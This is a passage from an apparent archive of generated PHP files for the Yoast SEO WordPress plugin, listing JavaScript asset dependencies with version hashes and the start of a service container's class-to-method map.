'version' => 'fb28921dba0da6614c80'), 'ja.js' => array('dependencies' => array('lodash', 'wp-polyfill', 'yoast-seo-analysis-package'), 'version' => '2c5009841fa296834a3f'), 'nb.js' => array('dependencies' => array('lodash', 'wp-polyfill', 'yoast-seo-analysis-package'), 'version' => '04746196da02bb736987'), 'nl.js' => array('dependencies' => array('lodash', 'wp-polyfill', 'yoast-seo-analysis-package'), 'version' => 'c324d67321be4de5dba8'), 'pl.js' => array('dependencies' => array('lodash', 'wp-polyfill', 'yoast-seo-analysis-package'), 'version' => '5908ab61bfa52f1abf82'), 'pt.js' => array('dependencies' => array('lodash', 'wp-polyfill', 'yoast-seo-analysis-package'), 'version' => '36a5b8e949ba05f62ab9'), 'ru.js' => array('dependencies' => array('lodash', 'wp-polyfill', 'yoast-seo-analysis-package'), 'version' => 'f57759f2e75aed95a722'), 'sk.js' => array('dependencies' => array('lodash', 'wp-polyfill', 'yoast-seo-analysis-package'), 'version' => 'f9f13c09bcdef28c28c0'), 'sv.js' => array('dependencies' => array('lodash', 'wp-polyfill', 'yoast-seo-analysis-package'), 'version' => 'aa3c53ba0e8c760d56ec'), 'tr.js' => array('dependencies' => array('lodash', 'wp-polyfill', 'yoast-seo-analysis-package'), 'version' => 'bcd0ead95eae50bee792')); generated/assets/externals.php000064400000011016152076255540012534 0ustar00 array('dependencies' => array('wp-polyfill', 'yoast-seo-redux-package'), 'version' => '425acbd30b98c737df6e'), 'aiFrontend.js' => array('dependencies' => array('lodash', 'react', 'wp-compose', 'wp-element', 'wp-i18n', 'wp-polyfill', 'yoast-seo-components-new-package', 'yoast-seo-prop-types-package', 'yoast-seo-replacement-variable-editor-package', 'yoast-seo-search-metadata-previews-package', 'yoast-seo-social-metadata-forms-package', 'yoast-seo-style-guide-package', 'yoast-seo-styled-components-package', 'yoast-seo-ui-library-package'), 'version' => '6a4c5085f186573222f8'), 'analysisReport.js' => array('dependencies' => array('lodash', 'react', 'react-jsx-runtime', 'wp-i18n', 'wp-polyfill', 'yoast-seo-components-new-package', 'yoast-seo-helpers-package', 'yoast-seo-prop-types-package', 'yoast-seo-style-guide-package', 'yoast-seo-styled-components-package'), 'version' => '34eef771ba6c89d4477c'), 'componentsNew.js' => array('dependencies' => array('lodash', 'react', 'react-dom', 'wp-a11y', 'wp-element', 'wp-i18n', 'wp-polyfill', 'yoast-seo-helpers-package', 'yoast-seo-prop-types-package', 'yoast-seo-style-guide-package', 'yoast-seo-styled-components-package'), 'version' => 'dc4603eb5d8a68dce425'), 'dashboardFrontend.js' => array('dependencies' => array('lodash', 'react', 'wp-element', 'wp-i18n', 'wp-polyfill', 'yoast-seo-chart.js-package', 'yoast-seo-redux-js-toolkit-package', 'yoast-seo-ui-library-package'), 'version' => '2e0d313685fbb9a64d1a'), 'featureFlag.js' => array('dependencies' => array('wp-polyfill'), 'version' => '91e54e3dd01f59a724ae'), 'helpers.js' => array('dependencies' => array('lodash', 'react', 'wp-i18n', 'wp-polyfill', 'yoast-seo-prop-types-package', 'yoast-seo-styled-components-package'), 'version' => '9621691b4c958e4df201'), 'relatedKeyphraseSuggestions.js' => array('dependencies' => array('lodash', 'react', 'wp-i18n', 'wp-polyfill', 'yoast-seo-prop-types-package', 'yoast-seo-ui-library-package'), 'version' => '03470a8a1e27cbc8c586'), 'replacementVariableEditor.js' => array('dependencies' => array('lodash', 'react', 'react-dom', 'wp-a11y', 'wp-components', 'wp-hooks', 'wp-i18n', 'wp-polyfill', 'yoast-seo-components-new-package', 'yoast-seo-draft-js-package', 'yoast-seo-helpers-package', 'yoast-seo-prop-types-package', 'yoast-seo-style-guide-package', 'yoast-seo-styled-components-package', 'yoast-seo-ui-library-package'), 'version' => 'fa5c0c2b59b073731c67'), 'searchMetadataPreviews.js' => array('dependencies' => array('lodash', 'react', 'react-dom', 'wp-element', 'wp-i18n', 'wp-polyfill', 'yoast-seo-analysis-package', 'yoast-seo-components-new-package', 'yoast-seo-helpers-package', 'yoast-seo-prop-types-package', 'yoast-seo-replacement-variable-editor-package', 'yoast-seo-style-guide-package', 'yoast-seo-styled-components-package', 'yoast-seo-ui-library-package'), 'version' => 'c046319a21221b3ed4ae'), 'socialMetadataForms.js' => array('dependencies' => array('lodash', 'react', 'wp-i18n', 'wp-polyfill', 'yoast-seo-helpers-package', 'yoast-seo-prop-types-package', 'yoast-seo-redux-package', 'yoast-seo-replacement-variable-editor-package', 'yoast-seo-style-guide-package', 'yoast-seo-styled-components-package', 'yoast-seo-ui-library-package'), 'version' => '854312d0890d517e080f'), 'styleGuide.js' => array('dependencies' => array('wp-polyfill', 'yoast-seo-helpers-package', 'yoast-seo-styled-components-package'), 'version' => 'a65ddb8de826da5fea4d'), 'uiLibrary.js' => array('dependencies' => array('lodash', 'react', 'react-dom', 'wp-polyfill', 'yoast-seo-prop-types-package', 'yoast-seo-redux-js-toolkit-package'), 'version' => '1d5a5e0c2d1ab3855d8a'), 'chart.js.js' => array('dependencies' => array('wp-polyfill'), 'version' => '196fb6740f0ef8ce192a'), 'draftJs.js' => array('dependencies' => array('react', 'react-dom', 'wp-polyfill'), 'version' => '1b760d06a7feabe5d9ae'), 'jed.js' => array('dependencies' => array('wp-polyfill'), 'version' => '28697086e82ae1cd0e88'), 'propTypes.js' => array('dependencies' => array('wp-polyfill'), 'version' => '4c546a0c9e97b70d3fe0'), 'reactHelmet.js' => array('dependencies' => array('react', 'wp-polyfill', 'yoast-seo-prop-types-package'), 'version' => 'b7d9f84f1dc499388f58'), 'redux.js' => array('dependencies' => array('lodash', 'wp-polyfill'), 'version' => '8ab8b1816693779c7200'), 'styledComponents.js' => array('dependencies' => array('react', 'wp-polyfill'), 'version' => '3c7b466139e7508cd799'), 'analysis.js' => array('dependencies' => array('lodash', 'wp-i18n', 'wp-polyfill', 'yoast-seo-feature-flag-package'), 'version' => '52323bdec023947791fc')); generated/assets/plugin.php000064400000037056152076255540012041 0ustar00 array('dependencies' => array('react', 'react-jsx-runtime', 'wp-components', 'wp-element', 'wp-i18n', 'wp-polyfill', 'yoast-seo-components-new-package', 'yoast-seo-prop-types-package', 'yoast-seo-styled-components-package'), 'version' => 'de5a3b9ecce640dac8af'), 'admin-global.js' => array('dependencies' => array('jquery', 'wp-polyfill'), 'version' => 'afea66380308b381a3e4'), 'admin-modules.js' => array('dependencies' => array('react', 'react-jsx-runtime', 'wp-data', 'wp-element', 'wp-i18n', 'wp-polyfill', 'yoast-seo-components-new-package', 'yoast-seo-helpers-package', 'yoast-seo-prop-types-package'), 'version' => '7c7be57b5b58ed4a145d'), 'analysis-worker.js' => array('dependencies' => array('wp-polyfill'), 'version' => 'aa04978fbd423b404462'), 'api-client.js' => array('dependencies' => array('wp-polyfill'), 'version' => 'f56d7de163fa219c67e2'), 'block-editor.js' => array('dependencies' => array('lodash', 'moment', 'react', 'react-dom', 'react-jsx-runtime', 'wp-annotations', 'wp-api-fetch', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-data', 'wp-editor', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-plugins', 'wp-polyfill', 'wp-rich-text', 'wp-sanitize', 'wp-url', 'yoast-seo-analysis-package', 'yoast-seo-chart.js-package', 'yoast-seo-components-new-package', 'yoast-seo-externals-components', 'yoast-seo-externals-contexts', 'yoast-seo-externals-redux', 'yoast-seo-feature-flag-package', 'yoast-seo-helpers-package', 'yoast-seo-prop-types-package', 'yoast-seo-react-helmet-package', 'yoast-seo-related-keyphrase-suggestions-package', 'yoast-seo-replacement-variable-editor-package', 'yoast-seo-search-metadata-previews-package', 'yoast-seo-social-metadata-forms-package', 'yoast-seo-style-guide-package', 'yoast-seo-styled-components-package', 'yoast-seo-ui-library-package'), 'version' => 'ad0f43839b877f154c52'), 'bulk-editor.js' => array('dependencies' => array('jquery', 'wp-polyfill'), 'version' => '308d4f19cc8fcb346d3d'), 'classic-editor.js' => array('dependencies' => array('jquery', 'lodash', 'moment', 'react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-components', 'wp-compose', 'wp-data', 'wp-element', 'wp-i18n', 'wp-polyfill', 'wp-sanitize', 'wp-url', 'yoast-seo-analysis-package', 'yoast-seo-chart.js-package', 'yoast-seo-components-new-package', 'yoast-seo-externals-components', 'yoast-seo-externals-contexts', 'yoast-seo-externals-redux', 'yoast-seo-feature-flag-package', 'yoast-seo-helpers-package', 'yoast-seo-prop-types-package', 'yoast-seo-react-helmet-package', 'yoast-seo-related-keyphrase-suggestions-package', 'yoast-seo-replacement-variable-editor-package', 'yoast-seo-search-metadata-previews-package', 'yoast-seo-social-metadata-forms-package', 'yoast-seo-style-guide-package', 'yoast-seo-styled-components-package', 'yoast-seo-ui-library-package'), 'version' => 'b551b9cfd3f0b392e89e'), 'crawl-settings.js' => array('dependencies' => array('wp-polyfill'), 'version' => 'd511931b46d0b74648b4'), 'dashboard-widget.js' => array('dependencies' => array('react-jsx-runtime', 'wp-element', 'wp-polyfill', 'yoast-seo-analysis-report-package', 'yoast-seo-components-new-package', 'yoast-seo-helpers-package', 'yoast-seo-style-guide-package'), 'version' => '751474c1233a3eb40fcd'), 'wincher-dashboard-widget.js' => array('dependencies' => array('lodash', 'moment', 'react-jsx-runtime', 'wp-api-fetch', 'wp-element', 'wp-i18n', 'wp-polyfill', 'yoast-seo-components-new-package', 'yoast-seo-helpers-package', 'yoast-seo-prop-types-package', 'yoast-seo-style-guide-package', 'yoast-seo-styled-components-package'), 'version' => '63d0a790229681c72b7e'), 'dynamic-blocks.js' => array('dependencies' => array('react-jsx-runtime', 'wp-block-editor', 'wp-blocks', 'wp-polyfill', 'wp-server-side-render'), 'version' => '0b62afb01d7a49465a20'), 'edit-page.js' => array('dependencies' => array('jquery', 'wp-polyfill'), 'version' => 'afab9d8fdff1d98c8ca9'), 'editor-modules.js' => array('dependencies' => array('lodash', 'react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-components', 'wp-compose', 'wp-data', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-polyfill', 'wp-sanitize', 'wp-url', 'yoast-seo-ai-frontend-package', 'yoast-seo-analysis-package', 'yoast-seo-analysis-report-package', 'yoast-seo-components-new-package', 'yoast-seo-externals-contexts', 'yoast-seo-externals-redux', 'yoast-seo-helpers-package', 'yoast-seo-prop-types-package', 'yoast-seo-react-helmet-package', 'yoast-seo-redux-js-toolkit-package', 'yoast-seo-related-keyphrase-suggestions-package', 'yoast-seo-replacement-variable-editor-package', 'yoast-seo-search-metadata-previews-package', 'yoast-seo-social-metadata-forms-package', 'yoast-seo-style-guide-package', 'yoast-seo-styled-components-package', 'yoast-seo-ui-library-package'), 'version' => '7b79e8a9c1a0a3e6bbcf'), 'elementor.js' => array('dependencies' => array('elementor-common', 'jquery', 'lodash', 'moment', 'react', 'react-dom', 'react-jsx-runtime', 'wp-annotations', 'wp-api-fetch', 'wp-components', 'wp-compose', 'wp-data', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-polyfill', 'wp-rich-text', 'wp-sanitize', 'wp-url', 'yoast-seo-analysis-package', 'yoast-seo-chart.js-package', 'yoast-seo-components-new-package', 'yoast-seo-externals-components', 'yoast-seo-externals-contexts', 'yoast-seo-externals-redux', 'yoast-seo-feature-flag-package', 'yoast-seo-helpers-package', 'yoast-seo-prop-types-package', 'yoast-seo-react-helmet-package', 'yoast-seo-redux-js-toolkit-package', 'yoast-seo-related-keyphrase-suggestions-package', 'yoast-seo-replacement-variable-editor-package', 'yoast-seo-search-metadata-previews-package', 'yoast-seo-social-metadata-forms-package', 'yoast-seo-style-guide-package', 'yoast-seo-styled-components-package', 'yoast-seo-ui-library-package'), 'version' => '8bbbbb1738f90a71deaa'), 'externals-components.js' => array('dependencies' => array('lodash', 'react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-data', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-polyfill', 'wp-sanitize', 'wp-url', 'yoast-seo-ai-frontend-package', 'yoast-seo-analysis-package', 'yoast-seo-analysis-report-package', 'yoast-seo-components-new-package', 'yoast-seo-externals-contexts', 'yoast-seo-externals-redux', 'yoast-seo-helpers-package', 'yoast-seo-prop-types-package', 'yoast-seo-react-helmet-package', 'yoast-seo-redux-js-toolkit-package', 'yoast-seo-related-keyphrase-suggestions-package', 'yoast-seo-replacement-variable-editor-package', 'yoast-seo-search-metadata-previews-package', 'yoast-seo-social-metadata-forms-package', 'yoast-seo-style-guide-package', 'yoast-seo-styled-components-package', 'yoast-seo-ui-library-package'), 'version' => '3632e8168f1d55ecaa47'), 'externals-contexts.js' => array('dependencies' => array('react-jsx-runtime', 'wp-element', 'wp-polyfill', 'yoast-seo-prop-types-package'), 'version' => '300c2a3875f94498e3af'), 'externals-redux.js' => array('dependencies' => array('lodash', 'react-jsx-runtime', 'wp-api-fetch', 'wp-data', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-polyfill', 'wp-sanitize', 'wp-url', 'yoast-seo-helpers-package', 'yoast-seo-redux-js-toolkit-package'), 'version' => 'b99979e958e210631820'), 'filter-explanation.js' => array('dependencies' => array('wp-polyfill'), 'version' => '8b3042cee26c58eb9be7'), 'help-scout-beacon.js' => array('dependencies' => array('react-jsx-runtime', 'wp-element', 'wp-i18n', 'wp-polyfill', 'yoast-seo-styled-components-package'), 'version' => '952791cde3e1a9e961cd'), 'import.js' => array('dependencies' => array('jquery', 'lodash', 'wp-i18n', 'wp-polyfill'), 'version' => 'cbe848d7253c616f3a75'), 'indexation.js' => array('dependencies' => array('jquery', 'react-jsx-runtime', 'wp-element', 'wp-i18n', 'wp-polyfill', 'yoast-seo-components-new-package', 'yoast-seo-helpers-package', 'yoast-seo-prop-types-package', 'yoast-seo-style-guide-package', 'yoast-seo-styled-components-package'), 'version' => 'e31d5e05d493adec892a'), 'installation-success.js' => array('dependencies' => array('lodash', 'react', 'react-jsx-runtime', 'wp-dom-ready', 'wp-element', 'wp-i18n', 'wp-polyfill', 'yoast-seo-ui-library-package'), 'version' => '73410c74285694bf48e7'), 'integrations-page.js' => array('dependencies' => array('lodash', 'react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-components', 'wp-data', 'wp-dom-ready', 'wp-element', 'wp-i18n', 'wp-polyfill', 'yoast-seo-dashboard-frontend-package', 'yoast-seo-externals-contexts', 'yoast-seo-prop-types-package', 'yoast-seo-react-helmet-package', 'yoast-seo-styled-components-package', 'yoast-seo-ui-library-package'), 'version' => '4e41e995edfcf027a2d7'), 'introductions.js' => array('dependencies' => array('lodash', 'react', 'react-jsx-runtime', 'wp-api-fetch', 'wp-data', 'wp-dom-ready', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-polyfill', 'wp-url', 'yoast-seo-prop-types-package', 'yoast-seo-redux-js-toolkit-package', 'yoast-seo-ui-library-package'), 'version' => '241369c77a5a8c009d9b'), 'network-admin.js' => array('dependencies' => array('jquery', 'wp-polyfill'), 'version' => 'c28de4314d03147fca4a'), 'post-edit.js' => array('dependencies' => array('jquery', 'lodash', 'react-jsx-runtime', 'wp-annotations', 'wp-api', 'wp-api-fetch', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-data', 'wp-dom-ready', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-is-shallow-equal', 'wp-polyfill', 'wp-rich-text', 'wp-url', 'yoast-seo-analysis-package', 'yoast-seo-externals-redux', 'yoast-seo-feature-flag-package', 'yoast-seo-prop-types-package', 'yoast-seo-redux-js-toolkit-package', 'yoast-seo-styled-components-package'), 'version' => '4707f2a9996135159c93'), 'quick-edit-handler.js' => array('dependencies' => array('wp-polyfill'), 'version' => 'e7d3f8a9873afbfd1425'), 'reindex-links.js' => array('dependencies' => array('jquery', 'wp-polyfill'), 'version' => 'e4694eb7292052d53fc4'), 'redirect-old-features-tab.js' => array('dependencies' => array('wp-polyfill'), 'version' => 'a792fdd4c0d1c2ef737c'), 'settings.js' => array('dependencies' => array('jquery', 'lodash', 'react', 'react-jsx-runtime', 'wp-compose', 'wp-data', 'wp-dom-ready', 'wp-element', 'wp-i18n', 'wp-polyfill', 'wp-url', 'yoast-seo-externals-redux', 'yoast-seo-prop-types-package', 'yoast-seo-styled-components-package'), 'version' => 'f0bd6577ef9cce7ddb87'), 'new-settings.js' => array('dependencies' => array('lodash', 'react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-components', 'wp-data', 'wp-dom-ready', 'wp-element', 'wp-html-entities', 'wp-i18n', 'wp-polyfill', 'wp-url', 'yoast-seo-externals-redux', 'yoast-seo-prop-types-package', 'yoast-seo-react-helmet-package', 'yoast-seo-redux-js-toolkit-package', 'yoast-seo-replacement-variable-editor-package', 'yoast-seo-styled-components-package', 'yoast-seo-ui-library-package'), 'version' => '154fd187a8f455e35a8d'), 'redirects.js' => array('dependencies' => array('lodash', 'react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-components', 'wp-data', 'wp-dom-ready', 'wp-element', 'wp-i18n', 'wp-polyfill', 'wp-url', 'yoast-seo-prop-types-package', 'yoast-seo-react-helmet-package', 'yoast-seo-redux-js-toolkit-package', 'yoast-seo-styled-components-package', 'yoast-seo-ui-library-package'), 'version' => 'e8a481ecbb8f6ff96791'), 'academy.js' => array('dependencies' => array('lodash', 'react', 'react-jsx-runtime', 'wp-api-fetch', 'wp-components', 'wp-data', 'wp-dom-ready', 'wp-element', 'wp-i18n', 'wp-polyfill', 'wp-url', 'yoast-seo-redux-js-toolkit-package', 'yoast-seo-ui-library-package'), 'version' => 'ad100d1f98f9bb316a90'), 'general-page.js' => array('dependencies' => array('lodash', 'react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-components', 'wp-compose', 'wp-data', 'wp-dom-ready', 'wp-element', 'wp-i18n', 'wp-polyfill', 'wp-url', 'yoast-seo-dashboard-frontend-package', 'yoast-seo-externals-redux', 'yoast-seo-helpers-package', 'yoast-seo-prop-types-package', 'yoast-seo-react-helmet-package', 'yoast-seo-redux-js-toolkit-package', 'yoast-seo-social-metadata-forms-package', 'yoast-seo-ui-library-package'), 'version' => '3b42afd2e0a8bb306819'), 'support.js' => array('dependencies' => array('lodash', 'react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-components', 'wp-data', 'wp-dom-ready', 'wp-element', 'wp-i18n', 'wp-polyfill', 'wp-url', 'yoast-seo-externals-redux', 'yoast-seo-prop-types-package', 'yoast-seo-react-helmet-package', 'yoast-seo-redux-js-toolkit-package', 'yoast-seo-ui-library-package'), 'version' => '3816080b66dfe5877751'), 'how-to-block.js' => array('dependencies' => array('lodash', 'react', 'react-jsx-runtime', 'wp-a11y', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-element', 'wp-i18n', 'wp-is-shallow-equal', 'wp-polyfill', 'yoast-seo-prop-types-package'), 'version' => 'e49877f2db1ecb000c5c'), 'faq-block.js' => array('dependencies' => array('lodash', 'react', 'react-jsx-runtime', 'wp-a11y', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-element', 'wp-i18n', 'wp-is-shallow-equal', 'wp-polyfill', 'yoast-seo-prop-types-package'), 'version' => '48ce45f1da4fdbf0a6b0'), 'term-edit.js' => array('dependencies' => array('jquery', 'lodash', 'wp-annotations', 'wp-api', 'wp-api-fetch', 'wp-blocks', 'wp-data', 'wp-dom-ready', 'wp-hooks', 'wp-i18n', 'wp-is-shallow-equal', 'wp-polyfill', 'wp-rich-text', 'wp-url', 'yoast-seo-analysis-package', 'yoast-seo-externals-redux', 'yoast-seo-feature-flag-package', 'yoast-seo-redux-js-toolkit-package'), 'version' => 'a5204d5b214052280667'), 'used-keywords-assessment.js' => array('dependencies' => array('wp-polyfill', 'yoast-seo-analysis-package'), 'version' => 'f2d934f4e70fdace40fc'), 'workouts.js' => array('dependencies' => array('lodash', 'react', 'react-jsx-runtime', 'wp-api-fetch', 'wp-components', 'wp-compose', 'wp-data', 'wp-dom-ready', 'wp-element', 'wp-i18n', 'wp-polyfill', 'yoast-seo-components-new-package', 'yoast-seo-externals-contexts', 'yoast-seo-helpers-package', 'yoast-seo-prop-types-package', 'yoast-seo-styled-components-package'), 'version' => 'eb2a96eb9da8c1b5a33b'), 'frontend-inspector-resources.js' => array('dependencies' => array('lodash', 'react', 'react-jsx-runtime', 'wp-i18n', 'wp-polyfill', 'yoast-seo-analysis-package', 'yoast-seo-components-new-package', 'yoast-seo-prop-types-package', 'yoast-seo-style-guide-package'), 'version' => '16b6d236956e635b2cf3'), 'ai-generator.js' => array('dependencies' => array('lodash', 'react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-components', 'wp-data', 'wp-dom-ready', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-polyfill', 'wp-sanitize', 'wp-url', 'yoast-seo-ai-frontend-package', 'yoast-seo-analysis-package', 'yoast-seo-components-new-package', 'yoast-seo-externals-contexts', 'yoast-seo-helpers-package', 'yoast-seo-prop-types-package', 'yoast-seo-react-helmet-package', 'yoast-seo-redux-js-toolkit-package', 'yoast-seo-replacement-variable-editor-package', 'yoast-seo-search-metadata-previews-package', 'yoast-seo-social-metadata-forms-package', 'yoast-seo-style-guide-package', 'yoast-seo-styled-components-package', 'yoast-seo-ui-library-package'), 'version' => 'a779f591ce2e5bbe250a'), 'ai-consent.js' => array('dependencies' => array('lodash', 'react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-data', 'wp-dom-ready', 'wp-element', 'wp-i18n', 'wp-polyfill', 'wp-url', 'yoast-seo-prop-types-package', 'yoast-seo-react-helmet-package', 'yoast-seo-redux-js-toolkit-package', 'yoast-seo-ui-library-package'), 'version' => '3eba17584cd7b7181097'), 'plans.js' => array('dependencies' => array('lodash', 'react', 'react-jsx-runtime', 'wp-api-fetch', 'wp-components', 'wp-data', 'wp-dom-ready', 'wp-element', 'wp-i18n', 'wp-polyfill', 'wp-url', 'yoast-seo-externals-redux', 'yoast-seo-redux-js-toolkit-package', 'yoast-seo-ui-library-package'), 'version' => 'acb868e4444a60b1bfa3')); generated/container.php000064400002005676152076255610011226 0ustar00services = $this->privates = []; $this->methodMap = [ 'WPSEO_Addon_Manager' => 'getWPSEOAddonManagerService', 'WPSEO_Admin_Asset_Manager' => 'getWPSEOAdminAssetManagerService', 'WPSEO_Breadcrumbs' => 'getWPSEOBreadcrumbsService', 'WPSEO_Frontend' => 'getWPSEOFrontendService', 'WPSEO_Replace_Vars' => 'getWPSEOReplaceVarsService', 'WPSEO_Shortlinker' => 'getWPSEOShortlinkerService', 'WPSEO_Utils' => 'getWPSEOUtilsService', 'Yoast\\WP\\Lib\\Migrations\\Adapter' => 'getAdapterService', 'Yoast\\WP\\SEO\\AI_Authorization\\Application\\Token_Manager' => 'getTokenManagerService', 'Yoast\\WP\\SEO\\AI_Authorization\\User_Interface\\Callback_Route' => 'getCallbackRouteService', 'Yoast\\WP\\SEO\\AI_Authorization\\User_Interface\\Refresh_Callback_Route' => 'getRefreshCallbackRouteService', 'Yoast\\WP\\SEO\\AI_Consent\\Application\\Consent_Handler' => 'getConsentHandlerService', 'Yoast\\WP\\SEO\\AI_Consent\\User_Interface\\Ai_Consent_Integration' => 'getAiConsentIntegrationService', 'Yoast\\WP\\SEO\\AI_Consent\\User_Interface\\Consent_Route' => 'getConsentRouteService', 'Yoast\\WP\\SEO\\AI_Free_Sparks\\User_Interface\\Free_Sparks_Route' => 'getFreeSparksRouteService', 'Yoast\\WP\\SEO\\AI_Generator\\User_Interface\\Ai_Generator_Integration' => 'getAiGeneratorIntegrationService', 'Yoast\\WP\\SEO\\AI_Generator\\User_Interface\\Bust_Subscription_Cache_Route' => 'getBustSubscriptionCacheRouteService', 'Yoast\\WP\\SEO\\AI_Generator\\User_Interface\\Get_Suggestions_Route' => 'getGetSuggestionsRouteService', 'Yoast\\WP\\SEO\\AI_Generator\\User_Interface\\Get_Usage_Route' => 'getGetUsageRouteService', 'Yoast\\WP\\SEO\\AI_HTTP_Request\\Application\\Request_Handler' => 'getRequestHandlerService', 'Yoast\\WP\\SEO\\AI_HTTP_Request\\Infrastructure\\API_Client' => 'getAPIClientService', 'Yoast\\WP\\SEO\\Actions\\Addon_Installation\\Addon_Activate_Action' => 'getAddonActivateActionService', 'Yoast\\WP\\SEO\\Actions\\Addon_Installation\\Addon_Install_Action' => 'getAddonInstallActionService', 'Yoast\\WP\\SEO\\Actions\\Alert_Dismissal_Action' => 'getAlertDismissalActionService', 'Yoast\\WP\\SEO\\Actions\\Configuration\\First_Time_Configuration_Action' => 'getFirstTimeConfigurationActionService', 'Yoast\\WP\\SEO\\Actions\\Importing\\Aioseo\\Aioseo_Cleanup_Action' => 'getAioseoCleanupActionService', 'Yoast\\WP\\SEO\\Actions\\Importing\\Aioseo\\Aioseo_Custom_Archive_Settings_Importing_Action' => 'getAioseoCustomArchiveSettingsImportingActionService', 'Yoast\\WP\\SEO\\Actions\\Importing\\Aioseo\\Aioseo_Default_Archive_Settings_Importing_Action' => 'getAioseoDefaultArchiveSettingsImportingActionService', 'Yoast\\WP\\SEO\\Actions\\Importing\\Aioseo\\Aioseo_General_Settings_Importing_Action' => 'getAioseoGeneralSettingsImportingActionService', 'Yoast\\WP\\SEO\\Actions\\Importing\\Aioseo\\Aioseo_Posts_Importing_Action' => 'getAioseoPostsImportingActionService', 'Yoast\\WP\\SEO\\Actions\\Importing\\Aioseo\\Aioseo_Posttype_Defaults_Settings_Importing_Action' => 'getAioseoPosttypeDefaultsSettingsImportingActionService', 'Yoast\\WP\\SEO\\Actions\\Importing\\Aioseo\\Aioseo_Taxonomy_Settings_Importing_Action' => 'getAioseoTaxonomySettingsImportingActionService', 'Yoast\\WP\\SEO\\Actions\\Importing\\Aioseo\\Aioseo_Validate_Data_Action' => 'getAioseoValidateDataActionService', 'Yoast\\WP\\SEO\\Actions\\Importing\\Deactivate_Conflicting_Plugins_Action' => 'getDeactivateConflictingPluginsActionService', 'Yoast\\WP\\SEO\\Actions\\Indexables\\Indexable_Head_Action' => 'getIndexableHeadActionService', 'Yoast\\WP\\SEO\\Actions\\Indexing\\Indexable_General_Indexation_Action' => 'getIndexableGeneralIndexationActionService', 'Yoast\\WP\\SEO\\Actions\\Indexing\\Indexable_Indexing_Complete_Action' => 'getIndexableIndexingCompleteActionService', 'Yoast\\WP\\SEO\\Actions\\Indexing\\Indexable_Post_Indexation_Action' => 'getIndexablePostIndexationActionService', 'Yoast\\WP\\SEO\\Actions\\Indexing\\Indexable_Post_Type_Archive_Indexation_Action' => 'getIndexablePostTypeArchiveIndexationActionService', 'Yoast\\WP\\SEO\\Actions\\Indexing\\Indexable_Term_Indexation_Action' => 'getIndexableTermIndexationActionService', 'Yoast\\WP\\SEO\\Actions\\Indexing\\Indexing_Complete_Action' => 'getIndexingCompleteActionService', 'Yoast\\WP\\SEO\\Actions\\Indexing\\Indexing_Prepare_Action' => 'getIndexingPrepareActionService', 'Yoast\\WP\\SEO\\Actions\\Indexing\\Post_Link_Indexing_Action' => 'getPostLinkIndexingActionService', 'Yoast\\WP\\SEO\\Actions\\Indexing\\Term_Link_Indexing_Action' => 'getTermLinkIndexingActionService', 'Yoast\\WP\\SEO\\Actions\\Integrations_Action' => 'getIntegrationsActionService', 'Yoast\\WP\\SEO\\Actions\\SEMrush\\SEMrush_Login_Action' => 'getSEMrushLoginActionService', 'Yoast\\WP\\SEO\\Actions\\SEMrush\\SEMrush_Options_Action' => 'getSEMrushOptionsActionService', 'Yoast\\WP\\SEO\\Actions\\SEMrush\\SEMrush_Phrases_Action' => 'getSEMrushPhrasesActionService', 'Yoast\\WP\\SEO\\Actions\\Wincher\\Wincher_Account_Action' => 'getWincherAccountActionService', 'Yoast\\WP\\SEO\\Actions\\Wincher\\Wincher_Keyphrases_Action' => 'getWincherKeyphrasesActionService', 'Yoast\\WP\\SEO\\Actions\\Wincher\\Wincher_Login_Action' => 'getWincherLoginActionService', 'Yoast\\WP\\SEO\\Alerts\\Application\\Default_SEO_Data\\Default_SEO_Data_Alert' => 'getDefaultSEODataAlertService', 'Yoast\\WP\\SEO\\Alerts\\Application\\Indexables_Disabled\\Indexables_Disabled_Alert' => 'getIndexablesDisabledAlertService', 'Yoast\\WP\\SEO\\Alerts\\Application\\Ping_Other_Admins\\Ping_Other_Admins_Alert' => 'getPingOtherAdminsAlertService', 'Yoast\\WP\\SEO\\Alerts\\Infrastructure\\Default_SEO_Data\\Default_SEO_Data_Collector' => 'getDefaultSEODataCollectorService', 'Yoast\\WP\\SEO\\Alerts\\User_Interface\\Default_SEO_Data\\Default_SEO_Data_Cron_Callback_Integration' => 'getDefaultSEODataCronCallbackIntegrationService', 'Yoast\\WP\\SEO\\Alerts\\User_Interface\\Default_SEO_Data\\Default_SEO_Data_Watcher' => 'getDefaultSEODataWatcherService', 'Yoast\\WP\\SEO\\Alerts\\User_Interface\\Default_Seo_Data\\Default_SEO_Data_Cron_Scheduler' => 'getDefaultSEODataCronSchedulerService', 'Yoast\\WP\\SEO\\Alerts\\User_Interface\\Resolve_Alert_Route' => 'getResolveAlertRouteService', 'Yoast\\WP\\SEO\\Analytics\\Application\\Missing_Indexables_Collector' => 'getMissingIndexablesCollectorService', 'Yoast\\WP\\SEO\\Analytics\\Application\\To_Be_Cleaned_Indexables_Collector' => 'getToBeCleanedIndexablesCollectorService', 'Yoast\\WP\\SEO\\Analytics\\User_Interface\\Last_Completed_Indexation_Integration' => 'getLastCompletedIndexationIntegrationService', 'Yoast\\WP\\SEO\\Builders\\Indexable_Author_Builder' => 'getIndexableAuthorBuilderService', 'Yoast\\WP\\SEO\\Builders\\Indexable_Builder' => 